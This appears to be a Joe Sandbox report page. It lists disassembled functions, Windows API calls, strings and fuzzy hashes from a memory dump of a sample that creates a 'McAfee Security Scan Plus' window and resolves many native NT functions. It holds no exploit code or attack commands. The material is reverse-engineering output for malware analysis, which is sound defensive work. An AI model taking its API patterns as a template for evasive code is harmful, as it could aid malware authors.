Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CurrentHandleModuleProcess
String ID:
API String ID: 65871501-0
Opcode ID: 990a8e48d40559c324804b157da6bd32262217e06847ffbfe270420d5c7e5150
Instruction ID: 6f2c2909d9a92e6a0b86cf1c6a1141e1223fd5e31827d999f8df5af589125d74
Opcode Fuzzy Hash: 990a8e48d40559c324804b157da6bd32262217e06847ffbfe270420d5c7e5150
Instruction Fuzzy Hash: 4B418DB5D043489FDB11CFA9C8447AEBBF4FB09304F10426EE955A7381EB756A48CB91

Function 00402690 Relevance: 101.8, APIs: 8, Strings: 50, Instructions: 271
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00402A7A
GetLargePageMinimum.KERNEL32 ref: 00402AA2
GetModuleHandleW.KERNEL32(ntdll.dll), ref: 00402AB3
GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00402BA9
GetModuleHandleW.KERNEL32(KernelBase.dll), ref: 00402BF3
GetLastError.KERNEL32 ref: 00402C2F

Part of subcall function 00402C60: GetProcAddress.KERNEL32(00000000,?), ref: 00402D83

GetLastError.KERNEL32 ref: 00402C3A
GetLastError.KERNEL32 ref: 00402C42

Strings

NtOpenFile, xrefs: 004029BB
KernelBase.dll, xrefs: 00402BEE
NtQueryInformationProcess, xrefs: 0040273D
NtQueryFullAttributesFile, xrefs: 00402812
NtCompareTokens, xrefs: 0040288A
NtQueryVolumeInformationFile, xrefs: 0040274B
VirtualProtect, xrefs: 004028C6
NtClose, xrefs: 004027C2
NtSuspendProcess, xrefs: 00402721
NtQueryInformationFile, xrefs: 004026E9
NtQueryInformationByName, xrefs: 004027FE
NtFsControlFile, xrefs: 00402826
RtlUnicodeToUTF8N, xrefs: 00402993
NtCreateFile, xrefs: 004027AE
UpdateProcThreadAttribute, xrefs: 00402862
LdrRegisterDllNotification, xrefs: 00402902
NtQuerySecurityObject, xrefs: 004028DA
NtResumeProcess, xrefs: 0040272F
LdrUnregisterDllNotification, xrefs: 00402916
NtQuerySection, xrefs: 004029E3
QueryInterruptTime, xrefs: 004026BF
NtSetInformationFile, xrefs: 004026F7
DeleteProcThreadAttributeList, xrefs: 00402876
NtQueryLicenseValue, xrefs: 004029CF
NtQueryDirectoryFile, xrefs: 00402786
NtSetInformationProcess, xrefs: 00402955
NtQuerySystemInformation, xrefs: 00402705
InitializeProcThreadAttributeList, xrefs: 0040284E
SetProcessMitigationPolicy, xrefs: 004026A3
SetSearchPathMode, xrefs: 004027D6
NtCreateSymbolicLinkObject, xrefs: 0040297F
NtWow64ReadVirtualMemory64, xrefs: 00402767
SetThreadDescription, xrefs: 004026DB
NtQueryInformationThread, xrefs: 004029A7
NtQueryEaFile, xrefs: 0040289E
LdrFindEntryForAddress, xrefs: 0040292A
NtQueryDirectoryFileEx, xrefs: 0040279A
kernel32.dll, xrefs: 00402BA4
QueryInterruptTimePrecise, xrefs: 004026CD
NtSetEaFile, xrefs: 004028B2
QueryUnbiasedInterruptTimePrecise, xrefs: 004026B1
RtlGetNtVersionNumbers, xrefs: 004027EA
ProcessIdToSessionId, xrefs: 0040283A
NtCreateDirectoryObjectEx, xrefs: 0040296B
NtQueryVirtualMemory, xrefs: 00402775
NtPowerInformation, xrefs: 0040293E
SetProcessDEPPolicy, xrefs: 00402759
RtlGetOwnerSecurityDescriptor, xrefs: 004028EE
ntdll.dll, xrefs: 00402AA8
NtQueryObject, xrefs: 00402713

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ErrorHandleLastModule$AddressInfoLargeMinimumNativePageProcSystem
String ID: DeleteProcThreadAttributeList$InitializeProcThreadAttributeList$KernelBase.dll$LdrFindEntryForAddress$LdrRegisterDllNotification$LdrUnregisterDllNotification$NtClose$NtCompareTokens$NtCreateDirectoryObjectEx$NtCreateFile$NtCreateSymbolicLinkObject$NtFsControlFile$NtOpenFile$NtPowerInformation$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQueryEaFile$NtQueryFullAttributesFile$NtQueryInformationByName$NtQueryInformationFile$NtQueryInformationProcess$NtQueryInformationThread$NtQueryLicenseValue$NtQueryObject$NtQuerySection$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtQueryVolumeInformationFile$NtResumeProcess$NtSetEaFile$NtSetInformationFile$NtSetInformationProcess$NtSuspendProcess$NtWow64ReadVirtualMemory64$ProcessIdToSessionId$QueryInterruptTime$QueryInterruptTimePrecise$QueryUnbiasedInterruptTimePrecise$RtlGetNtVersionNumbers$RtlGetOwnerSecurityDescriptor$RtlUnicodeToUTF8N$SetProcessDEPPolicy$SetProcessMitigationPolicy$SetSearchPathMode$SetThreadDescription$UpdateProcThreadAttribute$VirtualProtect$kernel32.dll$ntdll.dll
API String ID: 871164704-2839307195
Opcode ID: 5576ba9b86849a80563f6e86774a2ccf2593322dcac9ae1b0b56b3b023698333
Instruction ID: b7522c3fc8fc10e5ec40f3b4bf9c1064ceb748ebb8959aca406198028d11ff47
Opcode Fuzzy Hash: 5576ba9b86849a80563f6e86774a2ccf2593322dcac9ae1b0b56b3b023698333
Instruction Fuzzy Hash: 7CE1E7B1405B448BE361CF61C498BD7BBF8BF44308F048A1EE5AB96650DBB9B14CCB95

Function 003EF990 Relevance: 47.5, APIs: 19, Strings: 8, Instructions: 270
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,0000006B,A05DD77D,?), ref: 003EFA02
LoadIconW.USER32(00000000), ref: 003EFA0F
LoadCursorW.USER32(00000000,00007F00), ref: 003EFA1E
LoadIconW.USER32(?,0000006B), ref: 003EFA50
RegisterClassExW.USER32(00000030), ref: 003EFA5F
MessageBoxW.USER32(00000000,Call to RegisterClassEx failed!,Windows Desktop Guided Tour,00000000), ref: 003EFA78
CreateWindowExW.USER32(00000000,MSSP,McAfee Security Scan Plus,00CF0000,00000000,00000000,?,00000000), ref: 003EFAB7
MessageBoxW.USER32(00000000,Call to CreateWindow failed!,Windows Desktop Guided Tour,00000000), ref: 003EFAD6

Strings

Call to RegisterClassEx failed!, xrefs: 003EFA71
MSSP, xrefs: 003EFA46, 003EFAB0
0, xrefs: 003EF9C8
Windows Desktop Guided Tour, xrefs: 003EFA6C, 003EFACB
MSSPWebEB, xrefs: 003EFBF2
McAfee Security Scan Plus, xrefs: 003EFB0D
McAfee Security Scan Plus, xrefs: 003EFAAB
Call to CreateWindow failed!, xrefs: 003EFAD0

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Load$IconMessage$ClassCreateCursorHandleModuleRegisterWindow
String ID: 0$Call to CreateWindow failed!$Call to RegisterClassEx failed!$MSSP$MSSPWebEB$McAfee Security Scan Plus$McAfee Security Scan Plus$Windows Desktop Guided Tour
API String ID: 3932116867-1317735066
Opcode ID: 5975adcc274b7b1cf33e115d8f6f710ff3a01e5ec319f37b37053a5ba15d8e79
Instruction ID: eea96783a16ce7c56c800205ab3915e196e871bec9d5450592bee46c0e7abd31
Opcode Fuzzy Hash: 5975adcc274b7b1cf33e115d8f6f710ff3a01e5ec319f37b37053a5ba15d8e79
Instruction Fuzzy Hash: 10A10875A40319AFEB209F60DC4DF9A7B74BB04704F2042A5FA08A72D0EBF55A54CF59

Function 004070B0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 144
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,00000000), ref: 004070DF
IsWow64Process.KERNEL32(00000000), ref: 004070E6
GetCurrentProcess.KERNEL32(?,00000000), ref: 0040712C
IsWow64Process2.KERNELBASE(00000000), ref: 00407133
CreateFileW.KERNEL32(?,00100080,00000007,00000000,00000003,02000000,00000000), ref: 004071A2
GetFinalPathNameByHandleW.KERNEL32(00000000,\\?\C:\Windows,00000100,00000000), ref: 004071BC
CloseHandle.KERNEL32(00000000), ref: 004071CB
CloseHandle.KERNEL32(00000000), ref: 00407200
GetLastError.KERNEL32 ref: 0040721A
GetLastError.KERNEL32 ref: 0040723D

Strings

\\?\C:\Windows, xrefs: 004071B6, 004071EC

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: HandleProcess$CloseCurrentErrorLastWow64$CreateFileFinalNamePathProcess2
String ID: \\?\C:\Windows
API String ID: 2836744321-641808500
Opcode ID: 3bae3f3843dc899a0f64d81daf9a8d42028df3d59ca79975358020a9ca6086d2
Instruction ID: e30ee83700e47513f3ebd4f1eda3b31654a2f2d1c890ed119358a9931c281381
Opcode Fuzzy Hash: 3bae3f3843dc899a0f64d81daf9a8d42028df3d59ca79975358020a9ca6086d2
Instruction Fuzzy Hash: 6D51B674E052059FDB10DFA5DC457AE7BB4AF09700F10417AE811FB3D1EB79AA048B9A

Function 003FEA40 Relevance: 16.3, APIs: 7, Strings: 2, Instructions: 528
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 003FEB88
GetFileVersionInfoSizeExW.KERNELBASE(00000001,00000000,?,?,?,A05DD77D,?), ref: 003FECE1
GetFileVersionInfoExW.KERNELBASE(00000002,?,00000000,?,?,00000000), ref: 003FED23
VerQueryValueW.KERNELBASE(?,\VarFileInfo\Translation,?,?,?), ref: 003FEDDC
GetLastError.KERNEL32(?,?,?,00000000,00000000), ref: 003FEE87

Strings

\StringFileInfo\%04x%04x\%ls, xrefs: 003FEE3F
\VarFileInfo\Translation, xrefs: 003FEDD0

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FileInfoVersion$Concurrency::cancel_current_taskErrorLastQuerySizeValue
String ID: \StringFileInfo\%04x%04x\%ls$\VarFileInfo\Translation
API String ID: 1091494215-3503296632
Opcode ID: 8669ef736f0aab023187125335c764e837a7c8c236bcc44f60cfec3558b1ac3c
Instruction ID: b336c0b3fe0a2d6b113433204163dd2aa770c949e755940b739025a8975e39c8
Opcode Fuzzy Hash: 8669ef736f0aab023187125335c764e837a7c8c236bcc44f60cfec3558b1ac3c
Instruction Fuzzy Hash: 75129271A01219DFEF25DF68CC84BADB7B5BF44304F1082A9E909973A1DB749E44CB51

Function 003EF54F Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/help, xrefs: 003EF59D, 003EF5B0
Local\{46C61DD2-00A3-46F1-B456-3E6CDCEF89B7}, xrefs: 003EF5D7

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID: /help$Local\{46C61DD2-00A3-46F1-B456-3E6CDCEF89B7}
API String ID: 0-3953150669
Opcode ID: 004089ab57447c5d832a4e6a176fb0750575af804b800db0c1c95334b16e47ef
Instruction ID: af3ebfd3b28d50f7c9965284fda9c22b8880261752afbb94b0c3f2a4f791bf4a
Opcode Fuzzy Hash: 004089ab57447c5d832a4e6a176fb0750575af804b800db0c1c95334b16e47ef
Instruction Fuzzy Hash: CEA18871A002A4DFDB219F25ED4479E73B5AB08341F1006B9EA48A72E1E7F59EC0CF95

Function 003E89A0 Relevance: 12.8, APIs: 6, Strings: 1, Instructions: 503
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 003E8A19
SetThreadDescription.KERNELBASE(00000000,framework: com), ref: 003E8A25

Part of subcall function 003FFE90: QueryUnbiasedInterruptTimePrecise.KERNELBASE ref: 003FFEFD

Part of subcall function 00424CDB: RtlReleaseSRWLockExclusive.NTDLL(00000000), ref: 00424CE1

GetCurrentThread.KERNEL32 ref: 003E8A2E
SetThreadPriority.KERNEL32(00000000), ref: 003E8A31
GetCurrentThreadId.KERNEL32 ref: 003E8CA9

Strings

framework: com, xrefs: 003E8A1B

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Thread$Current$DescriptionExclusiveInterruptLockPrecisePriorityQueryReleaseTimeUnbiased
String ID: framework: com
API String ID: 2759220540-887911046
Opcode ID: cd12f6c1c50b136a562d81de8ef6fa4ed2cfc6d26b611a99fc7ea0c170ca464f
Instruction ID: 8cc9fdffe6d7ca3b572714e937423f1f887e904dae2aeff675b00f4baa9aac51
Opcode Fuzzy Hash: cd12f6c1c50b136a562d81de8ef6fa4ed2cfc6d26b611a99fc7ea0c170ca464f
Instruction Fuzzy Hash: AB12E170E002A8DFDB16DFA9D840BADFBB1BF44304F154259E409AB2C1EB74AD54CB95

Function 003FEBA0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 239
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\StringFileInfo\%04x%04x\%ls, xrefs: 003FEE3F
\VarFileInfo\Translation, xrefs: 003FEDD0

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID: \StringFileInfo\%04x%04x\%ls$\VarFileInfo\Translation
API String ID: 0-3503296632
Opcode ID: d6767061f4ae53069688626920be129685e99f0f60a18d6025c33425efacbd7d
Instruction ID: 82d9677fc57a8b149719693decf11bffc7d35cea30364caaf0801e20eca7f89c
Opcode Fuzzy Hash: d6767061f4ae53069688626920be129685e99f0f60a18d6025c33425efacbd7d
Instruction Fuzzy Hash: 4CA13CB090125CDFEB25CF55CC44BAEBBB5FF44304F2081AAE909A7251EB749A48CF65

Function 003F14A0 Relevance: 12.3, APIs: 8, Instructions: 345
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDC.USER32(00000000), ref: 003F14F8
GetDeviceCaps.GDI32(00000000,00000058), ref: 003F150E
GetDeviceCaps.GDI32(?,0000005A), ref: 003F1517
ReleaseDC.USER32(00000000,?), ref: 003F151E
KiUserCallbackDispatcher.NTDLL(00000030,00000000,?,00000000), ref: 003F1590
RegOpenKeyExW.KERNEL32(80000001,0046117C,00000000,00020019,?), ref: 003F18C0
RegQueryValueExW.KERNEL32(?,004611DC,00000000,?,?,00000004), ref: 003F18EF
RegCloseKey.KERNEL32(?), ref: 003F1934

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CapsDevice$CallbackCloseDispatcherOpenQueryReleaseUserValue
String ID:
API String ID: 3089890080-0
Opcode ID: cf0f1ffc98257563f0574614c9dac9ac2ae39fc054a205cd9d96e9705e4fa5b7
Instruction ID: 9eb8cddb622da181a9d565fdb7695f28ef1b3aa697f471e761f0fca471965602
Opcode Fuzzy Hash: cf0f1ffc98257563f0574614c9dac9ac2ae39fc054a205cd9d96e9705e4fa5b7
Instruction Fuzzy Hash: 4CE1D271D10B4CDADB13DF74D8417AEB7B9BF2A781F14832AF90576162FB7068828A44

Function 003FAB50 Relevance: 10.8, APIs: 7, Instructions: 292
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(001FFFFF,00000000,?,A05DD77D), ref: 003FABD7
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?,?,A05DD77D), ref: 003FAC08
K32GetModuleBaseNameW.KERNEL32(?,?,?,00000104,?,A05DD77D), ref: 003FAC2E
TerminateProcess.KERNEL32(?,00000000,?,A05DD77D), ref: 003FAD77
GetLastError.KERNEL32(?,A05DD77D), ref: 003FAD92
WaitForSingleObject.KERNEL32(?,0000EA60,?,A05DD77D), ref: 003FAE6B
FindCloseChangeNotification.KERNEL32(?,?,A05DD77D), ref: 003FAF06

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Process$BaseChangeCloseEnumErrorFindLastModuleModulesNameNotificationObjectOpenSingleTerminateWait
String ID:
API String ID: 382258105-0
Opcode ID: 4a8be9b21c4476a2e809628068972764bb3c2bd590dc1ddf37faf36968c3ee71
Instruction ID: 7538a9f7956f09b8b7b6a0ff86358e446f85c9c892a013fe943ad94af204ec4e
Opcode Fuzzy Hash: 4a8be9b21c4476a2e809628068972764bb3c2bd590dc1ddf37faf36968c3ee71
Instruction Fuzzy Hash: D8B1E771D006288BDB25DF28DC897AEB7B5FF55300F1402A9E90DA7291E731AE84CF95

Function 0040AD20 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 183
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(A05DD77D,?,?,?,?,?,?,?,?,?,?,?,0043D095,000000FF), ref: 0040AD9A
SwitchToThread.KERNEL32(?,?), ref: 0040ADDE
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 0040AF10

Strings

<{!truncated!}>, xrefs: 0040AE66

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ErrorLast$SwitchThread
String ID: <{!truncated!}>
API String ID: 2971943850-4093793577
Opcode ID: be1c26a6cc8bbb8c25eec4224fec6504b150c5136eb613e11177cd356ed708c0
Instruction ID: 57bcff391d55d6cfd6613a97e49da99b40583f86f8c57f0a265c0364e934f299
Opcode Fuzzy Hash: be1c26a6cc8bbb8c25eec4224fec6504b150c5136eb613e11177cd356ed708c0
Instruction Fuzzy Hash: BF7159B0A00648DFCB05DFA9D881AEEFBF1FF48304F14816AE815AB391D735A951CB65

Function 0632A1A8 Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0632A236
GetCurrentThread.KERNEL32 ref: 0632A273
GetCurrentProcess.KERNEL32 ref: 0632A2B0
GetCurrentThreadId.KERNEL32 ref: 0632A309

Memory Dump Source

Source File: 0000000C.00000002.3849710870.0000000006320000.00000040.00000800.00020000.00000000.sdmp, Offset: 06320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6320000_PeFIvJrY.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: d68f8d1a3f38508345c93307713989d7f47f2b5bc7c9bec9ce7385f365e0abf9
Instruction ID: e20ab0868f07abbd4480159902b5923e3784a0cbaaa1f42b0b3d6a2269ddd900
Opcode Fuzzy Hash: d68f8d1a3f38508345c93307713989d7f47f2b5bc7c9bec9ce7385f365e0abf9
Instruction Fuzzy Hash: FB5134B4D1070A8FDB54CFAAD948BDEBBF1EF88310F20845AE019A7360D7759944CB65

Function 0632A1B8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0632A236
GetCurrentThread.KERNEL32 ref: 0632A273
GetCurrentProcess.KERNEL32 ref: 0632A2B0
GetCurrentThreadId.KERNEL32 ref: 0632A309

Memory Dump Source

